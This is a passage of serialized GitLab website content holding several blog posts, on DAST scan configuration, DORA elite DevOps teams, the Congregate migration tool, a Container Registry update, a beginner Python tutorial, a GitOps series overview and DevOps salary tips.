scan](https://docs.gitlab.com/ee/user/application_security/dast/#enable-automatic-dast-run) with minimal manual configuration.\n\nWe’d love to hear your experience configuring DAST scans and feedback on ways to improve the user experience. Drop us a comment below! \n\nCover image by [Ksenia Chernaya](https://www.pexels.com/@kseniachernaya) on [Pexels](https://www.pexels.com/photo/modern-professional-equipment-for-checking-eyesight-5752269/).\n",[674],{"slug":16766,"featured":6,"template":678},"how-were-using-dast2-for-easier-scan-configuration","content:en-us:blog:how-were-using-dast2-for-easier-scan-configuration.yml","How Were Using Dast2 For Easier Scan Configuration","en-us/blog/how-were-using-dast2-for-easier-scan-configuration.yml","en-us/blog/how-were-using-dast2-for-easier-scan-configuration",{"_path":16772,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16773,"content":16778,"config":16783,"_id":16785,"_type":16,"title":16786,"_source":17,"_file":16787,"_stem":16788,"_extension":20},"/en-us/blog/how-to-make-your-devops-team-elite-performers",{"title":16774,"description":16775,"ogTitle":16774,"ogDescription":16775,"noIndex":6,"ogImage":12531,"ogUrl":16776,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16776,"schema":16777},"How to make your DevOps team elite performers","Every company wants DevOps done better. The DORA Report spotlights what it takes to be a DevOps elite, and what teams need to do to get there.","https://about.gitlab.com/blog/how-to-make-your-devops-team-elite-performers","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to make your DevOps team elite performers\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2021-10-26\",\n      }",{"title":16774,"description":16775,"authors":16779,"heroImage":12531,"date":16780,"body":16781,"category":962,"tags":16782},[3907],"2021-10-26","\n\nSo your company has a DevOps team –  great! – but are they elite performers or low performers?\n\nThere’s a chasm of difference between the two, according to the [State of DevOps 2021 report](https://gitlab.com/gitlab-com/www-gitlab-com/uploads/069ee8e2ee6af463cf0aafcd89eda33e/state-of-devops-2021.pdf) from DORA, the DevOps Research and Assessment team at Google. It’s the tipping point in how resilient, efficient and reliable your team is, and that’s directly tied to your ability to help your business be more competitive. (To be transparent, GitLab was one of the many sponsors of the report, and we’ve incorporated some of the DORA metrics [within our DevOps Platform](https://gitlab-com.gitlab.io/cs-tools/gitlab-cs-tools/what-is-new-since/?tab=features&s[…]tegories=DevOps+Reports&textSearch=DevOps&minVersion=13_08) so you can compare your highest and lowest-performing teams and see how much of the DevOps lifecycle each one is embracing.)\n\nBragging rights aside, a personal -- and not insignificant -- benefit of being on an elite DevOps team is that your [company value](/blog/a-look-at-devops-salaries/), as well as your [salary](/blog/four-tips-to-increase-your-devops-salary/), would likely rise, as would your ability to be hired at a top-tier company. \n\nSo what does it mean to be an elite DevOps team and what does it take to get there? Let’s dive in:\n\n## The benefits of being an elite team\n\nAccording to the DORA report there are specific things elite teams are able to consistently do. Here’s a look at some big goals:\n\n### Deploy more frequently\n\nElite performers deploy code 973 times more frequently than low performers, the survey notes. That’s right -- 973 times more. Low performers say they require a change lead time greater than six months. In sharp contrast, elite teams only need an hour. We’ll do the math for you: Elite teams have a 6,570 times faster lead time from commit to deploy than low performers.\n\n### Recover quicker\n\nThere’s a similar broad gap between low performers and elite teams when it comes to stability. DORA notes the time it takes the elite group to restore service is less than one hour, compared to more than six months for the low performers. \n\n### Lower change failure rates\n\nWhen it comes to change failure rates, there’s a 3 times difference between top and bottom performers. That means the elite group’s changes are a third less likely to fail. \n\n## DORA’s tips on how to become an elite team\n\nThose are great goals but how do you make them a reality? These six tips will take you in the right direction\n\n### 1. Make smart use of hybrid and multi-cloud environments\n\nDORA survey respondents who use either hybrid cloud or [multi-cloud](/topics/multicloud/) environments were 1.6 times more likely to beat their company’s performance targets than those who did not use these cloud setups. Multi-cloud users, for instance, say they are able to leverage each cloud provider’s unique benefits and achieve greater availability.\n\n### 2. How you implement the cloud matters\n\nWhen it comes to being able to support business needs, how the cloud is adopted and implemented makes a big difference. There’s a lot of benefit to adhering to the National Institute of Standards and Technology’s (NIST) [five essentials of cloud computing](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.500-291r2.pdf): on-demand self-service, broad network access, resource pooling, rapid elasticity or expansion, and measured service. DORA noted elite performers were 3.5 times more likely to have met all essential NIST cloud characteristics.\n\n### 3. Let DevOps and SRE complement each other\n\nTop DevOps professionals understand they don’t have to choose between DevOps and [site reliability engineering (SRE)](https://handbook.gitlab.com/job-families/engineering/infrastructure/site-reliability-engineer/). They work well together. “Elite performers are 2.1x as likely to report the use of SRE practices as their low-performing counterparts,” the DORA report notes. “But even teams operating at the highest levels have room for growth: Only 10% of elite respondents indicated that their teams have fully implemented every SRE practice we investigated.”\n\n### 4. Make sure you’re documenting\n\nThere’s a direct correlation between creating documents, which include everything from manuals to code comments, to a DevOps team’s success. Solid documentation is accurate, up-to-date, comprehensive, searchable, well organized and clear. The report points out that teams with good documentation are 2.4 times more likely to meet or exceed their reliability targets, and 2.5 times more likely to fully leverage the cloud.\n\n### 5. Build in security throughout development\n\nSecurity can get [a lot of lip service in DevOps](/blog/developer-security-divide/), but the best teams know that high delivery and operational performance are directly linked to integrating security practices throughout their development process. Security reviews must be integrated into every phase and applied to all major features, security professionals must be included in planning and development, and security testing must be automated.\n\n### 6. Pay attention to your team culture\n\nIn short, culture matters -- a lot. Industry surveys consistently show that culture is one of the top drivers of IT performance. Professionals who [have a sense of belonging and inclusion](/blog/why-software-developer-job-satisfaction-matters-and-how-to-make-it-happen/), and who work collaboratively and cross-functionally, produce higher software delivery and operational performance. \n\nAccording to the DORA report, it’s clear that becoming an elite team of DevOps professionals is an attainable goal. The report notes a dramatic increase in the percentage of elite professionals this year: 26% (of 1,200 surveyed), up from just 7% in 2018. \n\nIt’s time to up your game or risk being left behind.\n\n_For a slightly different look at aspirational DevOps results, read our [2021 Global DevSecOps Survey](/developer-survey/)._\n\n",[4103,7715,923],{"slug":16784,"featured":6,"template":678},"how-to-make-your-devops-team-elite-performers","content:en-us:blog:how-to-make-your-devops-team-elite-performers.yml","How To Make Your Devops Team Elite Performers","en-us/blog/how-to-make-your-devops-team-elite-performers.yml","en-us/blog/how-to-make-your-devops-team-elite-performers",{"_path":16790,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16791,"content":16796,"config":16801,"_id":16803,"_type":16,"title":16804,"_source":17,"_file":16805,"_stem":16806,"_extension":20},"/en-us/blog/migrating-repositories-to-gitlab-just-became-easier",{"title":16792,"description":16793,"ogTitle":16792,"ogDescription":16793,"noIndex":6,"ogImage":14571,"ogUrl":16794,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16794,"schema":16795},"Migrating repositories to GitLab just became easier","Automate data and user migration into GitLab using open core software Congregate.","https://about.gitlab.com/blog/migrating-repositories-to-gitlab-just-became-easier","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Migrating repositories to GitLab just became easier\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Bryan May\"}],\n        \"datePublished\": \"2021-10-26\",\n      }",{"title":16792,"description":16793,"authors":16797,"heroImage":14571,"date":16780,"body":16799,"category":962,"tags":16800},[16798],"Bryan May","\n\nAs customers begin their journey with GitLab, they often start by moving their source code repositories to GitLab. The GitLab Professional Services team has been helping customers with large scale [migrations](/services/migration/) for years and during this time have built a utility to automate the migration process - [Congregate](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate#congregate). To ensure we’re aligned with the [GitLab values](https://handbook.gitlab.com/handbook/values/) of transparency and collaboration, we’re making it available to customers and partners. As of today, Congregate has been moved to a [source available](https://en.wikipedia.org/wiki/Source-available_software) disposition. \n\nFor smaller customers this might not be too important because they can use [GitLab import functionality](https://docs.gitlab.com/ee/user/project/settings/import_export.html) to migrate themselves. But for customers moving hundreds or thousands of source code repositories and associated users to GitLab, this is a game changer. And perhaps most importantly, our growing team of [channel services partners](https://partners.gitlab.com/) can now leverage Congregate functionality as they help customers move data. And for each contribution that partners or customers make back to Congregate, the larger [community](/community/) benefits. \n\n## Why are you doing this? Customers pay you for these services!\n\nGitLab Professional Services falls under the umbrella of Customer Success and its [mission](https://about.gitlab.com/handbook/customer-success/#mission-statement) is to _deliver value to all customers by engaging in a consistent, repeatable, scalable way across defined segments so that customers see the value in their investment with GitLab_. While Professional Services needs to maintain a balanced business (we are not a cost center), we believe that our paramount goal is to help our customers. As GitLab grows and the number of customers also increases, we will rely more heavily on our channel partners. We see making Congregate source available as a means to reach the largest quantity of customers with the highest quality migration service offering. Similar to how GitLab has [over 3,000 contributions from the wider community](/blog/3000-contributors-post/), we think welcoming contributions for this migration tool will help ensure GitLab and its partners converge on a single solution rather than diverging to many. \n\n## What do you mean by _Source Available_?\n\nCongregate will be licensed under the GitLab EE license. For services partners and customers, this means:\n\n![Legal Guidelines](https://about.gitlab.com/images/blogimages/2021-10-20-migration-automation/legal-guidelines2.png)\n\n## I’m a partner, will GitLab PS support my migration?\n\n- No, but support is available on a fee-based engagement. As an example if you have a customer migration that you need support on, you can engage GitLab PS as the Prime and GitLab will work with you to subcontract the engagement to you and provide the  necessary support.  \n- If a Partner is using Congregate on its own contract directly with the customer, GitLab PS will not provide support for Congregate. As such, Congregate is a USE AT YOUR OWN RISK tool. \n- Customer engagements on a partner contract intending to migrate to gitlab.com can be subcontracted to GitLab PS to help with these migration activities. \n\n_Note: GitLab PS will always need to be involved for migrations to gitlab.com as certain elevated privileges are required to maintain data integrity._\n\n## It's just a bunch of scripted API calls, what's so special?\n\nCongregate is using all of the published APIs so there isn’t a ton of “secret sauce” in the project. However, we have spent time optimizing for performance using multiprocessing techniques to reduce the time it takes to gather and push data. We’ve also created a standard logging format to provide auditability of what happened during a migration. Congregate can migrate data from many popular source systems to help the majority of our prospects and customers move to GitLab.  \n\n## How can I use it?\n\nWe are releasing a learning path for partners (or customers) to earn a [certified GitLab migration engineer badge](https://gitlab.badgr.com/public/badges/zzzdONLxRaCW5cDQSlHsgw). This learning journey will initially be released to GitLab team members and partners. It will include general information about importing data into GitLab, quizzes and exams to validate your knowledge, and a hands-on workshop where you will use Congregate to move data to a test GitLab instance. Once you pass, you will receive a badge that you can post in a **#humblebrag** to your social media network - that's what social media is for, right? We recommend going through this training to understand how to use Congregate. As a partner, you can access this certification learning journey [here](https://partners.gitlab.com/prm/English/c/Training). \n\n![Certified Migration Services Engineer](https://about.gitlab.com/images/blogimages/2021-10-20-migration-automation/migration-badge.png){: .shadow.center}\n\n\n\n\n",[4103,232,815],{"slug":16802,"featured":6,"template":678},"migrating-repositories-to-gitlab-just-became-easier","content:en-us:blog:migrating-repositories-to-gitlab-just-became-easier.yml","Migrating Repositories To Gitlab Just Became Easier","en-us/blog/migrating-repositories-to-gitlab-just-became-easier.yml","en-us/blog/migrating-repositories-to-gitlab-just-became-easier",{"_path":16808,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16809,"content":16813,"config":16818,"_id":16820,"_type":16,"title":16821,"_source":17,"_file":16822,"_stem":16823,"_extension":20},"/en-us/blog/gitlab-com-container-registry-update",{"title":16810,"description":14570,"ogTitle":16810,"ogDescription":14570,"noIndex":6,"ogImage":12013,"ogUrl":16811,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16811,"schema":16812},"Announcing an exciting update to the GitLab.com Container Registry","https://about.gitlab.com/blog/gitlab-com-container-registry-update","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Announcing an exciting update to the GitLab.com Container Registry\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tim Rizzi\"}],\n        \"datePublished\": \"2021-10-25\",\n      }",{"title":16810,"description":14570,"authors":16814,"heroImage":12013,"date":16815,"body":16816,"category":736,"tags":16817},[1125],"2021-10-25","\n\nIn the coming weeks, we are planning to roll out a new version of the Container Registry on GitLab.com. Prior to deploying this major update, we wanted to clearly communicate the planned changes, what to expect, and why we are excited about this update. \n\nIf you have any questions or concerns, please don’t hesitate to comment in the [epic](https://gitlab.com/groups/gitlab-org/-/epics/5523). \n\n## Context \n\nIn [milestone 8.8](/releases/2016/05/22/gitlab-8-8-released/), GitLab launched the MVC of the Container Registry. This feature integrated the Docker Distribution registry into GitLab so that any GitLab user could have a space to publish and share container images. \n\nBut there was an inherent limitation with Docker Distribution as all metadata associated with a given image/tag was stored in the storage backend. This made using that metadata to build API features like storage usage visibility and sorting and filtering unfeasible. With the most recent update to the Container Registry, we’ve added a new metadata database that will store all of the metadata in Postgres instead of the storage backend. This will allow us to unblock many of the features that you’ve been asking for.\n\n## Why we are excited \n\n- [Storage visibility for the container registry](https://gitlab.com/groups/gitlab-org/-/epics/7225)\n- Performance improvements for list operations when using the GitLab API and UI\n- [Redesign of the UI](https://gitlab.com/groups/gitlab-org/-/epics/3211), including\n  - [Build and commit metadata for tags built via CI](https://gitlab.com/gitlab-org/gitlab/-/issues/197996)\n  - [Search by tag name](https://gitlab.com/gitlab-org/gitlab/-/issues/255614)\n  \n## The plan \n\nWe're planning a phased migration, starting with newly-created repositories. We'll roll this out incrementally to maintain safety for those customers and provide our team with an opportunity to identify and address any concerns. \n\n## Timing \n\nWe're starting the percentage-based rollout on October 26th, 2021, with GitLab internal projects' customers with less usage, which we expect to take 4 to 6 weeks. For more information about the planned, percentage-based rollout, please refer to this [epic](https://gitlab.com/groups/gitlab-org/-/epics/6426). \n\nOnce we complete that work, we’ll switch to customers who heavily use the Container Registry for new repositories. \n\n## FAQ \n\n- You mentioned new image repositories, but what about existing image repositories? \n  - The migration of newly-created repositories is phase 1 of this project. Once complete, we have some planned development work and then will begin to schedule the migration of existing repositories. Please stay tuned or follow along in this [epic](https://gitlab.com/groups/gitlab-org/-/epics/5523) for more information. \n- Do I need to do anything?\n  - No, the process is fully automated. \n- Is there anything I can do to help? \n  - Yes! Although no action is necessary, we recommend activating the Container Registry [cleanup policies](https://docs.gitlab.com/ee/user/packages/container_registry/#cleanup-policy) for any relevant projects. This will make [phase 2](https://gitlab.com/groups/gitlab-org/-/epics/6427) of the migration much faster. \n- Is the update required? \n  - Yes. This change will allow us to deliver a more modern and scalable product and you don’t want to miss out on those features.\n- Will there be any downtime?\n  - For phase 1 of the migration, which will focus on new image repositories, there is no expected downtime. \n- How can we learn more about phase 2? \n  - Right now we are focused on phase 1, but please feel free to ask any questions you may have in this [epic](https://gitlab.com/groups/gitlab-org/-/epics/6427).\n",[4103,676,232],{"slug":16819,"featured":6,"template":678},"gitlab-com-container-registry-update","content:en-us:blog:gitlab-com-container-registry-update.yml","Gitlab Com Container Registry Update","en-us/blog/gitlab-com-container-registry-update.yml","en-us/blog/gitlab-com-container-registry-update",{"_path":16825,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16826,"content":16831,"config":16836,"_id":16838,"_type":16,"title":16839,"_source":17,"_file":16840,"_stem":16841,"_extension":20},"/en-us/blog/beginner-guide-python-programming",{"title":16827,"description":16828,"ogTitle":16827,"ogDescription":16828,"noIndex":6,"ogImage":13867,"ogUrl":16829,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16829,"schema":16830},"How to get started with Python programming","Python is increasingly popular, and for good reason. Here's our beginner's guide.","https://about.gitlab.com/blog/beginner-guide-python-programming","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to get started with Python programming\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2021-10-21\",\n      }",{"title":16827,"description":16828,"authors":16832,"heroImage":13867,"date":16833,"body":16834,"category":962,"tags":16835},[711],"2021-10-21","Are you a programming enthusiast who wants to learn Python? Are you new to coding? Do you need help deciding where to begin with Python? If you are looking for answers to these questions, then you are in the right place.\n\n## How to start writing code with Python\n\nPython is an easy-to-learn, easy-to-use and easy-to-deploy programming language, with rampant usage in building web and desktop applications, analyzing data and performing [DevOps](https://about.gitlab.com/topics/devops/) tasks. It is a free, open-source, object-oriented coding language used to write simple scripts and complex programs. Of the almost 700 programming languages, Python is considered one of the best to learn first.\n\n## Installing Python\n\nBefore discussing the basics of Python, it is essential to download and install Python on your desktop/laptop. Python works on multiple platforms, including Linux, Windows and Mac. It comes preinstalled on most Mac and Linux systems; however, you should download the latest version from the official Python website.\n\nTo check the current Python version on your system, open the command line and type “python -V”. \n\n![command prompt](https://about.gitlab.com/images/blogimages/python1.png){: .shadow}\n\nIf you have an outdated version, download either the 32- or 64-bit setup from the website based on your system requirements.\n\nThere are other alternatives for downloading the setup: for Windows, you can install it directly from Microsoft. For Linux, install it using the package manager. For macOS, you can download it from Homebrew.\n\nOnce the setup is downloaded, run the file installer, and click on “Install Now”. Once the installation is complete, you are ready to go. Below is an example of a Python installation for Windows.\n\n![install Python](https://about.gitlab.com/images/blogimages/python2.png){: .shadow}\n\n## Running Python in command prompt\n\nTo verify Python is installed and working correctly in Windows, open the command prompt and enter “python”, which will invoke the interpreter. You can directly execute Python codes in it.  For example, type “2*5+1” and press “enter”. You will see “11” as the output. Entering “quit ()” will exit the interpreter.\n\n![Python interpreter](https://about.gitlab.com/images/blogimages/python3.png){: .shadow}\n\n## Running Python in IDE\n\nWith the latest Python installed, you are now ready to start programming in Python. When writing long scripts or programs in Python, use Python’s built-in Integrated Development and Learning Environment (IDLE).\n\nStart the IDLE and then, from the File dropdown, select “New File”, which opens a new editing window. So now, on your screen, you have two windows: a Python shell and an untitled file.\n\n![Python shell and untitled file](https://about.gitlab.com/images/blogimages/python4.png){: .shadow}\n\nThe Python shell is a REPL environment, which is shorthand for \"read-eval-print loop\". It runs snippets of the code, usually one statement at a time. For example, by repeating the same calculation “2*5+1” that we did in the command prompt, you can see how a Python shell can function as a calculator.\n\n![Python as a calculator](https://about.gitlab.com/images/blogimages/python5.png){: .shadow}\n\nThe untitled window is a text editing window for writing complete programs. The shell displays its output. For example, the conventional first program of Python for beginners is printing “Hello World!”. Make sure you save the text editor before running it by pressing “F5”.\n\n![Hello World](https://about.gitlab.com/images/blogimages/python61.png){: .shadow}\n\n## The basics of Python\n\nWe know you can’t wait to start writing long scripts for games and websites, but you still have a long way to get there. Just like with learning any other language, you must first understand the basics of Python. \n\nThe **print()** function, as seen in the Hello World! example, prints a value on the output window. A value is the most basic thing a program uses. It can be a string, a numeric value or any other Python object. Any object within single/double quotations is called a string. For instance, the “Hello World!” that is printed in the above program is also of the type string. Numeric values like 4 and 4.5 are the types of integers and floats, respectively. You can change an integer or float into a string and vice versa using the built-in functions **int()**, **float()** and **str()**.\n\n![value in an output window](https://about.gitlab.com/images/blogimages/python7.png){: .shadow}\n\n## Python’s vocabulary\n\nPython is the simplest coding language. It is easy to read and understand. Unlike human languages, Python has a small vocabulary or reserved words holding special meaning. Terms other than this reserved vocabulary hold meaning only to you and are called variables. These 35 reserved words are:\n\n![Python terms](https://about.gitlab.com/images/blogimages/python8.png){: .shadow}\n\nMake sure you use these words for their specified purpose to avoid confusing the Python interpreter and causing a syntax error.\n\n### Naming variables\n\nSometimes you want to store values in your code for retrieving them later, which you can do by giving them symbolic names called variables. As seen below, we ask Python to store 5 and 6 with labels x and y, respectively, and then retrieve them later to find their sum.\n\n![storing variables](https://about.gitlab.com/images/blogimages/python9.png){: .shadow}\n\nThere are rules for choosing a name for a variable; failing to follow these gives a syntax error. A few mandatory rules are narrated below:\n\n1. The name can contain both letters and numbers, but it can’t start with a number.\n1. An underscore can appear in the name to separate multiple words.\n1. Special symbols like @#$ are illegal and should not appear in the name.\n1. Python keywords should not be used as names for variables.\n\n### Understanding operators and operands\n\nPython uses special symbols called “operators” for representing basic mathematical computation. The values to which these operators are applied are called operands. The symbols used as operators for subtraction, addition, division, multiplication and exponentiation are  -,+, /, * and **, respectively. \n\n![symbols for operators](https://about.gitlab.com/images/blogimages/python10.png){: .shadow}\n\nThe modulus operator (%) outputs the remainder of the first operand divided by the second operand. It is useful in checking whether a number is divisible by another and extracting the rightmost digit/digits of a number.\n\n![modulus operator](https://about.gitlab.com/images/blogimages/python11.png){: .shadow}\n\n### Using expressions\n\nA combination of values, variables and operators is called an expression. An expression typed in the shell gets evaluated, and the answer is displayed. However, in a script, an expression doesn't do anything on its own.\n\nPython uses the mathematical convention PEMDAS for the operators, which means that P for Parentheses has the highest precedence, then Exponentiation, Multiplication and Division, which have the same priority. Addition and Subtraction come next and also have the same precedence. Operators that have the same preference are also evaluated from left to right.\n\n![PEMDAS](https://about.gitlab.com/images/blogimages/python12.png){: .shadow}\n\nThe Addition and Multiplication operators also work with strings for concatenation and repeating a string, respectively.\n\n![addition and multiplication operators](https://about.gitlab.com/images/blogimages/python13.png){: .shadow}\n\nPython also allows you to take the value for a variable from the user via their keyboard. This can be done using a built-in function called **input**.\n\n![input](https://about.gitlab.com/images/blogimages/python14.png){: .shadow}\n\n## Write your first program\n\nNow it's time to write a short program using everything you've learned here. Write a script that takes two numbers as input and adds them. Do this on your own and see the code below to tally your work.\n\n![write a short program](https://about.gitlab.com/images/blogimages/python15.png){: .shadow}\n\n**Congratulations!** You just wrote your first program.\n\nLearning Python is easy and fun. We just helped you make it through the basics. To become a professional Python Programmer, you still have a lot to learn and practice. Good luck on your journey to becoming an expert coder.\n\nPhoto by \u003Ca href=\"https://unsplash.com/@davidclode?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\">David Clode\u003C/a> on \u003Ca href=\"https://unsplash.com/s/photos/python?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\">Unsplash\u003C/a>",[4103,7715,696],{"slug":16837,"featured":6,"template":678},"beginner-guide-python-programming","content:en-us:blog:beginner-guide-python-programming.yml","Beginner Guide Python Programming","en-us/blog/beginner-guide-python-programming.yml","en-us/blog/beginner-guide-python-programming",{"_path":16843,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16844,"content":16849,"config":16854,"_id":16856,"_type":16,"title":16857,"_source":17,"_file":16858,"_stem":16859,"_extension":20},"/en-us/blog/gitops-with-gitlab",{"title":16845,"description":16846,"ogTitle":16845,"ogDescription":16846,"noIndex":6,"ogImage":12013,"ogUrl":16847,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16847,"schema":16848},"GitOps delivery by connecting Kubernetes clusters to GitLab","This is the first in a seven-part series on GitOps using GitLab's DevOps Platform.","https://about.gitlab.com/blog/gitops-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Here's how to do GitOps with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Viktor Nagy\"}],\n        \"datePublished\": \"2021-10-21\",\n      }",{"title":16850,"description":16846,"authors":16851,"heroImage":12013,"date":16833,"body":16852,"category":734,"tags":16853},"Here's how to do GitOps with GitLab",[2544],"\n\n_It is possible to use GitLab as a best-in-class GitOps tool, and this blog post series is going to show you how. These easy-to-follow tutorials will focus on different user problems, including provisioning, managing a base infrastructure, and deploying various third-party or custom applications on top of them. You can find the entire \"Ultimate guide to GitOps with GitLab\" tutorial series [here](/blog/the-ultimate-guide-to-gitops-with-gitlab/)._\n\nThis post provides an overview of the series, and will provide a bit of context around GitOps, [Infrastructure as Code](/topics/gitops/infrastructure-as-code/), and related notions.\n\n## Start with the buzzwords\n\nThe DevOps industry is changing at a very fast pace, and there are plenty of new ideas popping up around this transformation. What are these? Let’s look into the following concepts and why they matter: DevOps, site reliability engineers (SRE), GitOps, Infrastructure as Code, and containers.\n\nThe term DevOps was coined by Patrick Debois in 2009. DevOps is a cultural approach, not a technology or a set of processes. At its core there are a few principles such as continuous learning, fast feedback loops and a clear flow of work. There is a strong connection between DevOps and SRE, as one can think of the SRE approach as a well-defined implementation of DevOps. Two important aspects of the SRE approach are codified infrastructure management and metrics. These enable the level of automation needed for feedback, and their central metrics (SLIs) are being moved to the left down to development teams too.\n\nWith the emergence of cloud computing, infrastructure can be managed fully through APIs. This gave rise to Infrastructure as Code or IaC. IaC means infrastructure engineers almost never have to click through a provider’s UI to configure a new user or a resource. IaC approaches can be used to configure GitLab itself or to allow GitLab to configure a 3rd party system (such as creating a cluster or managing databases).\n\n[GitOps](/topics/gitops/) is the new kid on the block here, and it basically summarizes the current state of our industry. IaC projects likely store their code in version-controlled ways, probably in git. They might even be automated through pipelines, and the resulting infrastructure might have good observability built into the whole stack. So, what does GitOps bring to the table? It brings us two things. First, GitOps wants to avoid drift using a reconciliation loop that automatically “fixes” the infrastructure if it deviates from the codified state found in the IaC repository. Whether this is feasible and how this is done is still a debated question. At the same time, the rise of declarative infrastructure popularized by Kubernetes makes this a compelling approach to many. The second benefit of GitOps is the \"declarative\" ability. By being declarative, the desired state of the infrastructure is described in the git repo. This simplifies complexity in provisioning as the end-system is tasked by setting up the described infrastructure. Contrast this with an imperative setup where the administrators have to codify the exact steps of setting up the infrastructure.\n\nContainers are mentioned here for a single reason: Once we get to deployments, I am going to focus on containerized applications only. Containers have already proved to be a great layer of abstraction for application delivery.\n\nYou can [read more about the evolution of DevOps](/blog/gitops-as-the-evolution-of-operations/) and how we got to GitOps as part of this evolution.\n\n## The series overview\n\n**Infrastructure provisioning with GitLab and Terraform**: My next post in the series will outline how to use GitLab to provision infrastructure. In this post I will use a GitLab project to create an EKS cluster following IaC best practices. To do this I will use Terraform, as Terraform is considered to be the de facto standard in infrastructure provisioning, and GitLab has strong built-in support for it.\n\n**Connecting GitLab with a Kubernetes cluster - Quickstart**: This post will show how one can quickly connect a cluster with GitLab using our recommended way, the GitLab Agent for Kubernetes. As this is a quickstart, this approach does not use all the GitLab IaC recommendations. Nevertheless it is a great start that we can build upon later. This post will outline the different approaches for connecting a cluster to GitLab, including our recommended approach.\n\n**Secrets management with GitLab**: In the third post, I will deploy a simple “secrets as code” solution into our cluster and set it up for future use. This will demonstrate how third-party services can easily be deployed and managed with GitLab. Moreover, this specific tool will be used in the subsequent post where we migrate from the quickStart cluster connection to a self-managing, IaC connection.\n\n**Managing the cluster connection from code**: In the second post, we created a GitLab-connected cluster, but there we either need to manage the cluster from our local CLI or need to do some CI magic. Now I will demonstrate how to build out a more robust management for the cluster connection. We set up the cluster connection to manage itself using a pull-based approach.\n\n**Integrate the cluster into GitLab**: As GitLab is not just an SCM and CI tool, but the complete DevOps Platform, it has robust monitoring and security integrations with Kubernetes. In this post I am going to show how one can use the GitLab-provided cluster management application on top of our cluster connection, and install NGINX, Cilium, and custom runners with minimal effort, in an IaC style.\n\n**Application deployment with Auto DevOps**: The final post in the series will illustrate how business applications can be easily deployed into the cluster. I will focus on push-based deployments as many development teams might be familiar with pipelines, unlike the most recent pull-based approaches. At the same time, given the content from the previous posts, it should be possible to put together a pull-based deployment as top of Auto DevOps as well.\n\n_[Click here](/blog/the-ultimate-guide-to-gitops-with-gitlab/) for the next tutorial._\n\n\n",[534,4103,2509],{"slug":16855,"featured":6,"template":678},"gitops-with-gitlab","content:en-us:blog:gitops-with-gitlab.yml","Gitops With Gitlab","en-us/blog/gitops-with-gitlab.yml","en-us/blog/gitops-with-gitlab",{"_path":16861,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16862,"content":16868,"config":16873,"_id":16875,"_type":16,"title":16876,"_source":17,"_file":16877,"_stem":16878,"_extension":20},"/en-us/blog/four-tips-to-increase-your-devops-salary",{"title":16863,"description":16864,"ogTitle":16863,"ogDescription":16864,"noIndex":6,"ogImage":16865,"ogUrl":16866,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16866,"schema":16867},"Four tips to increase your DevOps salary","You have a great career with a solid salary, but can you do better? (Hint: of course.) Here's how.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668124/Blog/Hero%20Images/moneyfarm_background.jpg","https://about.gitlab.com/blog/four-tips-to-increase-your-devops-salary","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Four tips to increase your DevOps salary\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2021-10-20\",\n      }",{"title":16863,"description":16864,"authors":16869,"heroImage":16865,"date":16870,"body":16871,"category":962,"tags":16872},[3907],"2021-10-20","\n\n_This is the second in an occasional series looking at DevOps salaries and careers. Find out [how your DevOps salary stacks up](/blog/a-look-at-devops-salaries/)._\n\nSalaries for DevOps professionals are strong, despite a pandemic and a global economic crisis. However, you can still command an even higher salary with four straightforward strategies.\n\nVarious surveys have shown the IT industry is thriving right now and DevOps professionals, in particular, are [increasing in demand and value](https://about.gitlab.com/blog/a-look-at-devops-salaries/). DevOps repeatedly ranks well on some reputable lists such as Robert Half’s [15 highest paying IT jobs](https://www.roberthalf.com/blog/salaries-and-skills/the-13-highest-paying-it-jobs-in-2019) and Glassdoor’s 2021 list of [Best Jobs in America](https://www.glassdoor.com/research/best-jobs-in-america-for-2021/). \n\nIn [an August jobs report](https://www.prnewswire.com/news-releases/nationwide-tech-hiring-surges-in-second-quarter-per-dice-q2-tech-job-report-301351520.html), Dice CEO Art Zeile called this “one of the hottest tech job markets since the dot-com era,” and pointed to the upward trend in tech job postings since November 2020.\n\n## How to increase your salary\n\nBy following these strategies, DevOps professionals can take advantage of this strong market to boost your paychecks.\n\n### 1. Gain more experience\n\nExperience level is a big driver when it comes to how much money DevOps professionals will be taking home. [The Randstad 2021 Salary Guide](https://rlc.randstadusa.com/for-business/learning-center/salary-insights/salary-guide/IT-technologies) shows a more than $27,000 difference between the annual salary of a DevOps developer with one year of experience ($112,785) and someone with five years of experience ($140,242). An additional 10 years of experience can garner another $25,000 bump, according to the Randstad Salary Guide.\n\nExperience doesn’t have to happen sequentially, however. In our [2021 Global DevSecOps Survey](/developer-survey/) we found more than  69% of respondents participate in “sideline” open source projects. Those extracurricular efforts can look great on a resume and also are a way to showcase niche 